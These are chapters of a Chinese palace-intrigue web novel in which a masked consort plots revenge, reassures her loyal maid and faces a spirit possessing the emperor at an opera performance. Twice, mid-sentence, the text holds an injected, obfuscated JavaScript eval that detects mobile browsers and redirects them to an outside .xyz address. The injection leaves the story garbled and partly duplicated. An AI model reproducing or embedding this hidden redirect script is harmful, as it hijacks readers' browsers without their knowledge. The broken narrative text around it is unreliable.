每一个细节,每一分痛楚,都如同烙印,刻在她的灵魂深处,日夜灼烧。她要赵灵汐也尝尝这被剥夺光明、坠入永恒黑暗的滋味…… 那些人对她所做的一切,她都会一分不差的讨回来。 温招缓缓睁开眼,面具后的眸光比淬了毒的寒冰更冷冽。她看着僵立如木偶的阮时逢,声音里没有一丝波澜,只有不容置疑的命令。 “记得挖的慢一点。” 七几个字,她说得极轻,却带着一种令人毛骨悚然的、仿佛来自地狱深渊的森然。 阮时逢那双清澈的眸子盯着温招的双眸,比起第一瞬的恐惧和震惊,他更好奇,眼前的那华丽的外表下的女子,究竟为何会如此憎恨一个人,又为何会如此的残忍,好奇战胜了恐惧,阮时逢点了点头,应了下来。 “微臣……记下了。” 阮时逢点了点头,随后顿了顿,眼珠子一转,那双刚被惊惧和好奇冲刷过的含情眼,此刻又浮起一丝惯常的、让人捉摸不透的狡黠,他开口问道:“娘娘可有爱喝的酒?” 温招面具后的眸光几不可察地凝滞了一瞬。她整个人都微不可查地顿了一下,仿佛被这风马牛不相及的问题刺破了某种冰冷的屏障。 酒? 在这刚刚定下要剜人眼珠、慢条斯理施以酷刑的阴森氛围里,他突然问起……酒? 温招思索了片刻,红唇轻轻吐出三个字个字:“青砚谣”温招突然哼笑一声:“想找本宫喝酒?” 阮时逢的眼睛却瞬间亮得惊人,如同嗅到血腥味的猫,那点狡黠瞬间化作了纯粹的兴奋和得寸进尺的试探。 他整个人都鲜活起来,连脸上的泥点子都显得生动了几分。“娘娘好品味!” 他往前凑近一步,无视了温招周身散发的寒气,压低了声音,带着一种秘而不宣的分享感:“这酒刚开始味道极淡,淡得像山涧里的晨露,入喉清浅,几乎尝不出酒味,最是能骗过那些不懂行的……” 他顿了顿,目光灼灼地盯着面具后那双深不见底的眼睛,嘴角勾起一个好看的弧度。 “……可若是等得够久,或是饮得够深,那后劲儿……嘿嘿,才真叫一个石破天惊!如同烧红的烙铁顺着喉咙滚下去,五脏六腑都要被点着了!又烈又醇,回味无穷,能把人的魂儿都从喉咙里勾出来烧一烧!” 他一边说,一边观察着温招的反应,试图从那毫无表情的银面上窥探一丝波动。那双含情眼却亮得如同淬了星子,带着一种近乎痴迷的兴奋。 “娘娘,”他声音更轻,带着一种近乎蛊惑的诱哄,“您说……这是不是像极了某些人?看似冷淡无味,实则内里藏着能焚尽一切的业火?外冷内热~” 他意有所指,目光紧紧锁着温招,单挑了一下眉。 阮时逢根本不知道他此刻的表情有多贱,温招脸一下子阴了下去,瞪着他。 “娘娘,”他声音更轻,带着一种近乎蛊惑的诱哄,“您说……这是不是像极了某些人?看似冷淡无味,实则内里藏着能焚尽一切的业火?外冷内热~” 他意有所指,目光紧紧锁着温招,单挑了一下眉,那表情带着十足的探究和一丝欠揍的玩味。 阮时逢根本不知道,或者说根本不在意,他此刻这副挤眉弄眼、试图点破温招本质的表情有多贱兮兮,当然本质也是他猜的,毕竟面冷心热的美人还是很多了。 下一秒,他清晰地看到那张冰冷的银面具后,那双深不见底、原本只有冰封寒意的眸子,骤然一沉。如同暴风雪前的死寂天空,所有的光线都被瞬间吸走,只剩下令人心悸的阴鸷。 阮时逢脸上的戏谑瞬间僵住,像被冻住的泥塑。他后颈的汗毛“唰”地一下全立了起来,一股比刚才听到要挖赵灵汐眼睛时更刺骨的寒意,顺着脊椎骨猛地窜上头顶! 坏了!玩脱了! “微臣多嘴了!” 他反应极快,几乎是本能地脱口而出,声音都变了调。同时飞快地做了一个夸张的、紧紧捂住自己嘴巴的手势,那双含情眼此刻瞪得溜圆,里面哪里还有半分探究和玩味,只剩下满满的、几乎要溢出来的惊恐和求生欲! 他可太记得绊魂锁的那滋味了!那种灵魂都要被硬生生撕裂扯断的剧痛,他一点也不想再尝第二次!眼前这位主儿,是真能说到做到,而且手段绝对比他想象的还要酷烈百倍! 他紧紧捂着嘴,大气都不敢喘,眼珠子滴溜溜地转,小心翼翼地觑着温招面具后的眼睛,身体几不可察地往后挪了小半步,试图拉开一点安全距离。那副怂样,活像一只刚被猛虎盯上、炸了毛的野猫,哪里还有半分方才侃侃而谈“青砚谣”时的风流倜傥。 温招的目光,如同两道冰冷的探针,缓慢地、极具压迫感地扫过他捂嘴的手,扫过他因恐惧而微微颤抖的指尖,最后落在他那双写满了“我错了!我再也不敢了!”的惊恐眼睛上。 那目光里没有怒火,没有咆哮,只有一种极致的、令人窒息的平静,以及一种审视猎物垂死挣扎的漠然。 终于,在那令人窒息的死寂几乎要将阮时逢压垮时,温招缓缓地、极其轻微地动了一下下颌。 那动作细微得几乎看不见,但阮时逢却像被赦免的死囚,瞬间捕捉到了! “……” 温招没有说话。但一股无形的压力骤然松动了些许,如同勒紧咽喉的冰链稍稍放松了一寸。 温招收回了那令人胆寒的视线,仿佛刚才那凝滞的杀意从未存在过。她微微侧首,声音透过面具,恢复了之前的无机质冰冷,却带着不容置疑的终结意味: “本宫奉劝大人最好……谨言慎行。” 阮时逢捂着嘴,拼命点头,幅度之大,几乎要把脖子点断。那双含情眼里只剩下劫后余生的庆幸,像只偷腥的小猫。 “娘娘!” 阮时逢的声音带着一丝急切和尚未平复的干涩,从捂着嘴的指缝后闷闷地挤出来,带着点小心翼翼的试探,“其三呢?” 温招的脚步顿住了。 短暂的沉默,“其三?” 她似乎极轻微地哼了一声,那声音里听不出情绪,“本宫……还没想好。”温招习惯性的给自己留一条后路。 阮时逢僵住了,温招可不管那么多,直接出了司天监,只剩下阮时逢回神后,独自在原地嘀嘀咕咕。 “什么嘛……什么叫还没想好……”阮猫猫一时间有些憋屈,瘪了瘪嘴,他此刻浑身上下全是泥点子,官袍皱巴巴湿漉漉地裹着,活像只刚从泥潭里打滚出来的狸花猫,样子着实有些上不了台面。 “大人!”破军刚从外面办事回来,一脚踏进后院,就被眼前的景象惊得一个趔趄。他瞪圆了眼睛,看着自家那位平日里最是讲究,当然偶尔也不修边幅,此刻却狼狈得如同难民般的国师大人,正对着空气嘀嘀咕咕,一副受了天大委屈的模样。 破军试探着往前凑了凑,鼻翼翕动,小心翼翼地嗅了嗅空气,眉头皱得更紧了:“大人!你……你掉粪坑里啦?” 他语气里充满了真诚的困惑和一丝不易察觉的关切,“……也不臭啊?” “噗……!” 阮时逢正沉浸在被温招吊着胃口又无法发作的憋闷里,冷不丁听到这句“掉粪坑”,差点一口老血喷出来。他猛地转身,那双含情眼此刻瞪得溜圆,里面混杂着未消的憋屈和被下属“精准补刀”的羞恼。 “掉你个头!” 阮时逢没好气地吼了一声,抬手就想给这个没眼力见的夯货一个爆栗,但看到破军那副“机智”又无辜、还带着点担忧的表情,举到半空的手又悻悻地放了下来。算了,跟这傻小子置什么气。 他嫌弃地抖了抖自己沾满泥浆的袍袖,泥点飞溅,惹得破军下意识地往后缩了缩脖子。阮时逢翻了个白眼,一边试图把黏在身上的湿泥拍掉,一边用他那特有的抱怨腔调嘟囔: “你懂什么?本座这是……体察地气!深入基层!懂不懂?司天监观星测地,不接地气怎么行?” 他努力找回一点监正的威严,可惜配上那身泥猴似的打扮和还在往下滴泥汤的额发,实在没什么说服力。 破军挠了挠头,显然没太理解“体察地气”和变成泥猴之间的必然联系,但他选择相信自家大人。他憨憨地点点头:“哦……那大人体察得……挺深入哈。” 目光还是忍不住在阮时逢满身的泥点上打转。 阮时逢懒得再跟他解释,拍打泥点的动作也显得意兴阑珊。他叹了口气,像是把刚才与温招交锋的憋屈都叹了出来,他也不知道为什么,每次只要是和温招打交道,不是出糗就是被拿捏,他阮时逢堂堂国师……!好吧…他还是没温招心眼子多…心机恶毒的良妃…阮时逢瘪了瘪嘴,心里想着,此刻的表情不禁有些可爱。 随即又像是想起了什么,那双含情眼微微眯起,闪过一抹精光,刚才的憋屈和狼狈瞬间被一种跃跃欲试的兴奋取代。 他抬手,用还算干净的里衣袖口胡乱抹了把脸上的泥水,露出一张虽然狼狈却神采 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阮时逢气得原地跳脚,泥浆飞溅,也顾不上什么体察地气的鬼话了,指着自己满身狼狈,痛心疾首地控诉,“你看看!看看本座这身‘地气’!这就是跟她‘打交道’的下场!还幸福?!本座能活着见到明天的太阳就谢天谢地烧高香了!” 破军被自家大人这激烈的反应吼得缩了缩脖子,但眼神依旧憨直且困惑:“可……可大人您让属下查良妃娘娘的旧事……这不是……” 他挠了挠头,努力组织着贫瘠的词汇,“……不是‘那个意思’吗?” 他甚至还学着阮时逢平时八卦时挤了挤眼,可惜学得四不像,显得更傻了。 “是你个头!” 阮时逢简直要被他气笑了,感觉一股热血直冲脑门,脸颊不受控制地有些发烫,他抄起旁边槐树上掉下来的一根湿漉漉的枯枝,作势要抽破军,“本座那是要查她的底细!查她的根脚!懂不懂?!知己知彼,才能……才能不被她玩死!” 他咬牙切齿,把“玩死”两个字咬得极重。 破军看着大人气急败坏、连耳朵尖都微微泛红的样子,更困惑了,这不就是害羞的表现吗? “哦……查根脚啊……” 他似懂非懂地点点头,随即又耿直地补了一刀,“那大人您脸红什么?” “!!!” 阮时逢感觉自己的理智之弦“啪”地一声断了。 “我红你大爷!那是气的!气的!!” 他再也忍不住,把手里的枯枝狠狠朝破军掷了过去,当然,被破军敏捷地躲开了,然后抬脚泄愤似的踹在旁边的老槐树上。 “哗啦!!” 本就沾满雨水的槐树被他踹得一阵剧烈摇晃,积蓄的雨水混着泥点,劈头盖脸地浇了他一身,将他刚抹干净一点的脸又糊成了泥猴。 阮时逢:“……” 破军:“……” 空气瞬间安静。 阮时逢僵在原地,感受着冰冷的泥水顺着额发、鼻梁滑进衣领,一股前所未有的憋屈感涌上心头。跟温招交锋被拿捏,跟自己的傻下属交流能气到自取其辱……他今天出门是不是没看黄历?! 他抹了把脸上新糊上的泥水,看着破军那张写满无辜和“大人您又作死”的脸,只觉得心累无比。算了……跟这憨货计较,他怕自己真会气出心脏病。 阮时逢深吸一口气,强行压下翻腾的气血,努力找回一点国师的威严,尽管他现在看起来比乞丐还狼狈。他指着破军,声音带着一种饱经摧残后的虚弱和不容置疑的命令: “少废话……赶紧去查!一丝一毫都别漏掉!查不清楚……” 他顿了顿,看着破军,露出一抹森然的、带着泥点子的“和善”微笑,“……本座就把你丢到冷宫枯井里,让你也去‘体察’一下那里的‘地气’!” 破军虽然憨,但对自家大人这种“和善”笑容背后的威胁感知力是满级的。 他浑身一激灵,立刻挺胸收腹,吼得比刚才还响亮:“是!大人!属下这就去!保证查得底儿掉!” 说完,像只受惊的兔子,转身就跑,一溜烟消失在雨幕里,生怕慢一步就被丢进枯井“体察地气”。 后院再次只剩下阮时逢一人。 他老槐树粗壮的树干上,望着栖梧宫的方向,那双含情眼里,憋屈渐渐褪去,取而代之的是一种被彻底勾起、混合着忌惮与极致探究的灼热光芒。 温招……你身上,到底藏着什么秘密?那双眼睛里刻骨的恨意……还有那“窥天命法”一个后妃是怎么得知的……并且她为什么有通灵之术……又知道那么多巫蛊禁忌……看来……他阮时逢,这次是真的……找到最危险的“乐子”了。 14.014 此时的温招早已悄无声息地潜回栖梧宫侧门。 她身形如鬼魅,避开守夜宫人,闪身入内。侧殿门扉在她身后无声合拢。 殿内烛火幽微,只燃着一盏。魑惊如石雕般立在阴影里,闻声立刻迎上,目光快速扫过温招全身,确认无碍,才低声道:“娘娘,无人来过。” 温招没说话,只是抬手,指尖有些僵硬地扣住冰冷银面具的边缘,用力一揭。面具下,那张绝艳的脸苍白如纸,唇色很淡,唯有一双眼睛,深得不见底,里面翻涌着未散的戾气和一丝不易察觉的疲惫。她随手将面具丢在妆台上,发出“咔哒”一声轻响。 “更衣。”声音沙哑,带着雨夜的寒气。 魑惊立刻取来温招惯常的柔软寝衣,动作麻利地帮她褪下那身粗糙冰冷的靛蓝宫女服。 当那身象征“良妃”身份的华贵云锦重新裹住温招纤细的身躯时,她几不可闻地吐出一口气,仿佛重新披上了一层无形的盔甲。 魑惊捧来一盏温热的参茶。温招接过,指尖感受到杯壁传来的暖意,却暖不透心底的寒冰。她没喝,只是捧在手里,走到窗边。 温招突然抬眸望向魑惊,犹豫了片刻,轻声开口:“若有一天,不用在这宫墙之后苟且偷生……想去做什么……” 声音很轻,飘散在烛火摇曳的寂静殿内,像投入深潭的石子,瞬间打破了魑惊如石雕般的沉静。 魑惊捧着茶盘的手几不可察地一颤,杯盏中的参茶荡起一圈微澜。她猛地抬头,眼中第一次清晰地映出震惊和难以置信。 魑惊清秀的眉眼微动,她是个心细的姑娘,温招说的每句话,她都会往深处去想,娘娘是要……舍弃她了?是觉得她无用了?要将她送走…? “娘娘!” 魑惊的声音失了往日的平稳,带着一丝不易察觉的、破碎的颤音。 她几乎是踉跄着上前一步,茶盘“哐当”一声重重搁在旁边的矮几上,也顾不得茶水溅出湿了桌面。她双膝一软,“噗通”一声就重重跪倒在冰冷坚硬的金砖地上。 她声音哽咽,每一个字都像是从喉咙深处艰难地挤出来,带着沉重的分量,“奴婢生是娘娘的人,死是娘娘的鬼!这栖梧宫……这宫墙之内外……奴婢从未想过离开娘娘半步!” 她抬起头,眼眶通红,里面蓄满了强忍着不肯落下的泪水,直直地望着温招的背影,眼神里是近乎哀求的执拗与忠诚。“娘娘要去哪里,魑惊便去哪里!刀山火海,龙潭虎穴,奴婢都跟定了!求娘娘……求娘娘别赶奴婢走!” 那最后几个字,几乎带着泣音,是她从未有过的失态。她清瘦的肩膀微微颤抖着。 温招的心口,像是被什么东西狠狠撞了一下。在这步步惊心的深宫,她习惯了算计、习惯了伪装、习惯了用冷漠和戾气将自己包裹得密不透风。魑惊是她唯一带在身边的旧人,是她棋盘上最信任的棋子,是她黑暗里唯一能喘息片刻的角落。她从未想过要舍弃她,也从未想过,自己一句近乎虚无缥缈的呓语,竟会引来如此山崩地裂般的反应。 原来,在这座吃人的囚笼里,她温招,竟也会成为一个人全部的依靠和……归处?她知道魑惊忠心护主,但她没想到,她的忠心竟大于她的自由…… 她眼底翻涌的戾气悄然褪去,深潭般的眸子里,只剩下一种近乎疲惫的温柔。 良久,温招几不可闻地叹了口气。那叹息轻得像窗棂外溜进来的一缕夜风,却带着千钧的重量。 没有去扶,也没有斥责魑惊的失仪。她只是缓缓弯下腰,蹲下身,用纤细白皙的指尖轻轻抚去了魑惊脸上的泪珠。 “傻姑娘……”温招的声音微哑,不再是之前的冰冷刺骨,而是揉进了一丝极淡、极涩的喟叹,像研磨开的墨,带着沉淀的浓稠,“谁说要赶你走了?” 魑惊猛地一颤,抬起婆娑的泪眼,难以置信地看着近在咫尺的温招。娘娘的手……娘娘从未有过如此……近乎温存的举动。那指尖传来的微凉触感,却奇异地安抚了她濒临崩溃的惊惶。 温招的唇角,极其缓慢地、极其轻微地向上弯起了一个弧度。 那不是她惯常的、带着讥诮或冰冷的假笑,也不是算计时那种若有似无的弧度。这是一个真实的、柔软的,甚至带着一丝无可奈何的……笑容。 这笑容极淡,如同初春融雪时,冰层下悄然探出的一星嫩芽,脆弱却蕴含着不可思议的生命力。它短暂地驱散了温招脸上长久笼罩的苍白与冰冷,让那张绝艳却总显得过于锋利的容颜,瞬间染上了一层近乎朦胧的暖色。 温招自然是美的,可这一世的温招,是个满心恨意的美人,脸上鲜少会出现这种表情。 “好了……”她的声音放得更轻,带着一丝安抚的意味,仿佛在哄一个受惊过度的孩子。 “出宫了自然也是与本宫一起,你担心什么…”温招的声音很轻,带着一丝因久未展露真实情绪而略显生涩的柔软,却又有着不容置疑的分量。 魑惊呆住了,无数的泪珠从她的脸上滚滚滑落。 她所有的感官仿佛都在那一刻被这突如其来的暖流和承诺冻结、融化、再重塑。耳畔是温招带着安抚意味的轻语,眼前是她从未奢望能得见的、卸下所有尖锐防备的温软笑靥。那句“与本宫一起”,像一道裹挟着春雷的暖流,轰然冲垮了她心中所有摇摇欲坠的堤坝。 不是“带着你”,不是“跟着我”,而是如此自然、如此笃定的“与本宫一起”。 仿佛她们之间,从来就不该有分离这个选项,无论宫墙内外,无论刀山火海。 巨大的酸楚和一种近乎灭顶的狂喜同时攫住了魑惊的心脏,比刚才的绝望更汹涌百倍。她喉咙里发出“嗬”的一声短促气音。 “娘娘……” 魑惊的嘴唇剧烈地颤抖着,破碎的音节混杂在汹涌的泪水中,几乎不成调子。 她想说些什么,感激、誓言、抑或是失而复得的惶恐,但千言万语堵在胸口,最终只化作一声带着泣音、近乎呜咽的低唤。 温招的声音很低,如同耳语,飘散在烛火幽微的殿内。“本宫只是怕你不愿意随本宫一同出宫。” 魑惊的哭声骤然噎住,像是被一只无形的手扼住了喉咙。汹涌的泪水还在不停地滚落,滑过她狼狈的脸颊,可那模糊的视线里,温招带着一丝脆弱、一丝不确定的神情,却无比清晰地撞入她的眼底。 “怎会!奴婢是娘娘的人!娘娘去哪!奴婢就去哪!” 温招再次伸出手,这一次,不再是轻柔的擦拭,而是带着不容置疑的力道,稳稳地握住了魑惊因激动而微微颤抖的手臂。 “起来。”温招的声音依旧不高,却比刚才沉稳了许多,那丝因情绪波动而生的生涩柔软被一种更深沉、更笃定的力量取代。她手上用力,将跪在地上的少女稳稳提起。 魑惊顺着她的力道站起,身体却因方才巨大的情绪波动而有些虚软,踉跄了一下,下意识地反手紧紧抓住了温招的手臂,如同溺水之人抓住浮木。她急促地喘息着,泪水依旧汹涌,目光却死死锁在温招脸上,仿佛要将她此刻的每一丝神情都刻进骨髓。 温招没有推开她,任由她抓着自己。她甚至微微倾身,用另一只手的手指,极其轻柔地拂去魑惊额上沾染的灰尘和泪水,指尖在那片微红的撞痕上极轻地停顿了一下。那动作带着一种近乎珍视的意味。 “本宫信你。”温招看着魑惊的眼睛,一字一句地说道。这四个字,不再是安抚,而是承诺,是契约,是将彼此命运更深地、彻底地捆绑在一起的宣言。烛火在她深不见底的眸子里跳跃,映出一片前所未有的澄澈与郑重。 “从带你入栖梧宫的那一天起,本宫就信你。” 魑惊听着自家娘娘对自己的许诺,破涕为笑。只是她突然又像是想到了什么:“娘娘……那咱们怎么……” 温招单挑了一下眉毛,伸出一根手指,轻轻在魑惊额前点了点:“这你就别操心啦,每天好好睡觉,比什么都重要。” 自从柳含烟出现,魑惊每天晚上都睡不好觉,总怕柳含烟出现在她身边,此时的魑惊正顶着两个大大的黑眼圈。 殿内暖意融融,劫波过后的温情脉脉流淌,几乎要将这冰冷的宫室也染上几分人间烟火气。温招指尖微凉的触感还留在魑惊额上,带着安抚人心的力量。 “笃、笃、笃。” 三声叩门声,突兀、清晰、带着一种不容置疑的规整力道,如同冰锥,瞬间刺破了这方刚刚回暖的静谧空间。 不是宫女小心翼翼、带着试探的轻叩,也不是内侍寻常通传的节奏。这声音沉稳、克制,却透着一股子深入骨髓的、属于权力核心的冰冷气息,精准地敲打在人心最紧绷的那根弦上。 殿内流淌的温情刹那间冻结。 温招将方才那点因魑惊而流露出近乎真实的柔软与无奈,瞬间消散得无影无踪。她脸上那抹极淡却真实的笑容,如同精美的瓷器上剥落的釉彩,迅速褪去,取而代之的是一种深入骨髓的、带着面具般的完美疏离与冰寒。 “去开门。”温招的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977230|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恢复了惯常的清冷,平稳无波,听不出丝毫情绪,仿佛刚才那场撼人心魄的剖白与温情从未发生过。 魑惊用力点头,连声音都不敢发出,几乎是屏着呼吸,快步走向殿门。她的脚步放得极轻,如同踩在薄冰之上,生怕惊扰了门外那带来不祥叩响的存在。 沉重的殿门被魑惊从内拉开一条缝隙。 门外,一盏素白宫灯散发着幽幽冷光,照亮了一张无须、苍白、如同刀削斧凿般刻板的脸。正是皇帝身边最得力的心腹大太监,万公公。 他穿着一身深紫色蟒袍,腰背挺得笔直,如同标枪。宫灯的光晕落在他脸上,映得那双细长的眼睛如同深潭,没有丝毫波澜,只有一种洞悉一切、却又漠视一切的冰冷。他并未向殿内张望,目光平视前方,仿佛看的只是一片虚无。 “万公公。”魑惊的声音带着一丝极力掩饰的沙哑,垂首屈膝,姿态恭谨到极致。 万公公的眼皮微微撩起,目光如实质般扫过魑惊通红的眼眶和额上未散的微红,那视线冰冷锐利,仿佛能穿透皮肉,直窥人心。魑惊只觉得一股寒气从脚底窜起,身体绷得更紧,头垂得更低。 “良妃娘娘安好?”万公公的声音不高不低,平平板板,没有任何起伏,却带着一种无形的威压,让人喘不过气。 “娘娘正在歇息。”魑惊硬着头皮回道,声音细若蚊蚋。 万公公的嘴角似乎极其轻微地向下撇了一下,那弧度几不可察。他不再看魑惊,目光投向殿内深处那片烛火摇曳的阴影,提高了些许音量,那声音穿透殿门,清晰地回荡在寂静的栖梧宫侧殿: “启禀良妃娘娘,皇上口谕!” 殿内,温招的身影隐在烛光与阴影的交界处,如同一尊完美的玉雕,冰冷而沉静。她甚至没有移动分毫,只是那双冰封的眸子,在听到“皇上口谕”四字时,瞳孔深处掠过一丝极快、极冷的幽光。 万公公的声音继续响起,平稳得没有一丝波澜,却字字如冰珠砸落玉盘: “皇上念及娘娘近日劳神,梨园新排了一折《长生殿》,曲韵清雅,特命奴才来请娘娘移驾,共赏良辰。” 梨园听曲? 温招眯了眯眼,没出声,而是莲步轻移,走向殿门,云锦裙裾拂过冰冷的地面,无声无息。每一步都带着被规训出的、刻入骨髓的宫廷仪态。 “有劳万公公深夜传旨。”她声音不高,清凌凌的,听不出任何情绪波澜,如同玉珠落盘,带着天然的疏离贵气。 万公公的目光在她脸上停留了一瞬,那双细长冰冷的眼睛像淬了寒冰的探针,似乎想从这完美无缺的仪态中刺探出什么。然而温招只是微微垂眸,长睫在眼下投出小片阴影,姿态恭谨而漠然。 “娘娘折煞奴才了。”万公公的嗓音平板无波,躬身行礼,动作标准得如同尺子量过,“皇上体恤娘娘,怕娘娘在宫中烦闷。梨园的班子是刚调教好的,就等着娘娘赏鉴。” “皇上隆恩,臣妾感念。”温招轻轻颔首,云锦衣袖下的指尖几不可察地蜷了一下,随即又松开。她并未多言,只是侧身让出通路,仪态无可挑剔,“请公公稍待,容本宫更衣。” “娘娘请便。”万公公立在原地,如同一尊没有生命的石像,只有那双眼睛,锐利地扫过殿内每一个角落,最终落在妆台上那张冰冷的银面具上,停留了极其短暂的一瞬。 温招转身,裙裾无声流转。她并未看魑惊,只丢下一个极轻的眼神。魑惊心领神会,强压下心头翻涌的惊悸和担忧,立刻低头,手脚麻利地跟上去伺候更衣。 侧殿内一时只剩下衣料摩擦的细微声响和万公公那沉凝如铁、无处不在的冰冷气息。烛火不安地跳跃着,将人影拉长扭曲,投在墙壁上,如同暗处蛰伏的鬼魅。 温招换上了一身更为庄重却不过分张扬的宫装。当她再次出现在万公公面前时,已又是那个无懈可击、艳光逼人却也冷若冰霜的良妃。 “走吧。”她声音平淡,听不出喜怒。 万公公躬身引路。沉重的殿门被魑惊拉开,午时刺目的阳光和燥热的空气猛地涌入,瞬间吞噬了殿内的幽凉。 温招抬步迈出,身影融入那片白晃晃的光里,脊背挺直,步伐沉稳,魑惊紧随其后。 温招自从知道这宫中有其他邪物,便让柳含烟缩在侧殿里,以免被邪祟之物沾染被那邪物吞噬魂魄,她在侧殿四周贴了符篆,只要有她在,栖梧宫至少是安全的,这梨园……便保不齐了。温招在出门前备好了足够的土火纸,以防万一…… 15.015 午时的日光白得刺眼,泼洒在宫道上,蒸腾起一股燥热的土腥气。万公公深紫色的蟒袍吸饱了日光,沉甸甸地垂着,在前方引路,步伐无声。 午时,正是阳气最足时,也是由阳转阴之时。 通往梨园的路格外寂静。蝉鸣嘶哑,敲打着紧绷的神经。温招步履沉稳,魑惊紧跟在侧后。 梨园的朱漆大门洞开,里面传来不成调的丝竹试音,咿咿呀呀,在死寂的午后显得格外突兀空洞。万公公在门口停住,侧身垂首:“良妃娘娘,请。” 温招微微颔首,一步踏入。 一股混杂着陈旧脂粉、朽木和阴冷湿气的味道扑面而来,与外界的燥热截然不同。戏台上伶人寥寥,台下,常青身着常服,背对门口,独自坐在中央的檀木椅上,面朝着戏台。殿内光线被重重帷幕切割,几缕斜光柱里尘埃狂舞。 温招行至御座侧后,屈膝行礼,声音清冷:“臣妾参见皇上。” 万公公无声地退至门边阴影里,仿佛融进了帷幕的褶皱。 常青立马起身,脸上带着真挚的笑。“爱妃来了,快来坐。” 温招依言落座在常青下首。檀木椅冰凉坚硬,与殿内阴冷的空气融为一体。戏台上,几个伶人装扮停当,丝竹声起,正是《长生殿》的“密誓”一折。 温招的视线掠过常青的侧脸,落在他搭在扶手上的手背。那手背的皮肤在幽暗光线下,似乎比平日更显苍白几分,青筋的脉络也清晰得有些异常。 “纤云弄巧,飞星传恨,银汉迢迢暗度……”扮作杨妃的伶人嗓音清越婉转,穿透重重帷幕。午后的梨园,这唱腔本该缠绵,此刻却带着一丝难以言喻的飘忽,在空旷的殿堂里回荡,撞上冰冷的梁柱,又折返回来,竟显出几分凄清。 常青身体微微前倾,听得专注,嘴角甚至噙着一抹笑。他侧过脸,低声对温招道:“爱妃听这唱腔,倒有几分意思。”他语气平常,甚至带着点品评的闲适。 温招目光落在戏台上,不动声色。“陛下雅致。”随后转头望向魑惊,她低声道:“立刻去司天监,请国师过来,就说本宫找他。” 魑惊微微愣了愣,不明白温招何意,只从梨园后门离开,前往司天监。 台上,杨贵妃正唱到动情处:“……惟愿取,恩情美满,地久天长……” 唱词旖旎,本该是浓情蜜意。然而,就在“天长”二字尾音袅袅将尽时,嗡! 一声极其细微、却又尖锐到刺穿耳膜的杂音,毫无征兆地混入丝竹声中,如同生锈的铁器在石板上刮擦,瞬间盖过了伶人的唱腔。 殿内所有烛火猛地一暗,随即疯狂摇曳,将人影和帷幕拉扯成扭曲狰狞的形状。一股冰冷的、带着腐朽甜腥的阴风,毫无征兆地从戏台深处席卷而出,直扑台下! “啊---!”戏台上的伶人失声惊叫,乐器声戛然而止。 常青脸上的笑容瞬间凝固,眼中闪过一丝极其短暂的茫然,随即被一种更深的、近乎空洞的专注取代。他猛地站起身,动作僵硬得如同提线木偶,直勾勾地盯着骤然混乱的戏台,声音陡然拔高,带着一种奇异的亢奋与扭曲:“唱!怎么不唱了?‘金钗钿盒’呢?唱下去!给朕唱‘离魂’!” 这命令突兀而诡异,完全不合时宜。哪有人在“密誓”时点“离魂”?况且此刻邪风扑面,寒意刺骨,哪还有半分听戏的雅兴? 温招依旧端坐。常青那反常的亢奋命令入耳,她放在膝上的手,指尖几不可察地蜷了一下。殿内阴风盘旋,吹得她鬓边一缕发丝拂过脸颊,冰凉。 从踏入梨园,她便知道,根本不是常青找他,而是有东西附了常青的身!竟有阴物不惧烈日! 温招端坐不动。常青那扭曲亢奋的命令在阴风中回荡,带着不容置疑的癫狂。他僵硬的背影对着她,仿佛一尊被无形丝线操控的偶人,直勾勾盯着混乱的戏台。 “唱‘离魂’!听见没有?!”常青的声音再次拔高,尖利得刺耳,在空旷的梨园里激起令人心悸的回音。他猛地一挥手,宽大的袖袍带起一股更冷的阴风,“不唱,全都拖出去斩了!” 戏台上的伶人们吓得魂飞魄散,挤作一团瑟瑟发抖,连哭喊都不敢发出,只有牙齿打颤的咯咯声在死寂中格外清晰。乐师手中的乐器早已滚落在地。 温招放在膝上的手微微收紧。常青身上的“东西”显然被这突如其来的变故激怒了,邪气暴涨。那股腐朽的甜腥味浓得几乎凝成实质,冰冷刺骨,丝丝缕缕缠绕过来,试图侵蚀人的神智。 温招的声音清冷平稳,在常青癫狂的嘶吼和伶人们压抑的恐惧中,像投入滚油的一滴冰水。她缓缓站起身,裙裾拂过冰凉的檀木椅面,“伶人技艺生疏,惊扰圣驾,臣妾代他们给陛下唱一曲可好?” 话音落下,殿内骤然一静。 那席卷的阴风似乎也凝滞了一瞬。常青僵硬地转动脖颈,那张青白诡异的脸上,空洞的眼珠死死锁住温招,嘴角咧开的弧度更大,涎水不受控制地淌下,在昏暗摇曳的光线下闪着令人作呕的光。“爱妃……要唱?”声音嘶哑扭曲,带着一种非人的、贪婪的好奇。 “是,唱陛下想听的‘离魂’。”温招迎着他的目光,神色不变。她必须拖住它,等魑惊带阮时逢来。这邪物附在九五之尊身上,投鼠忌器,硬碰不得。她只能拖延时间,等到阮时逢来,他们的胜算会大一些。 “好……好!”常青猛地拍了下扶手,发出沉闷的响声,脸上是扭曲的亢奋,“唱!给朕唱!” 殿内阴风盘旋,那股腐朽的甜腥味浓得几乎令人窒息。戏台深处那片翻滚的阴影蠕动着,仿佛有无数双眼睛在黑暗中睁开,无声地注视着台下那个胆敢在邪祟面前献唱的女子。 温招深吸一口气,压下喉间的寒意。她微微阖眼,再睁开时,眼中一片清冽。她启唇,声音不高,却带着一种奇异的穿透力,在阴冷死寂的梨园中清晰响起: “[山坡羊]没揣菱花,偷人半面,迤逗的彩云偏……” 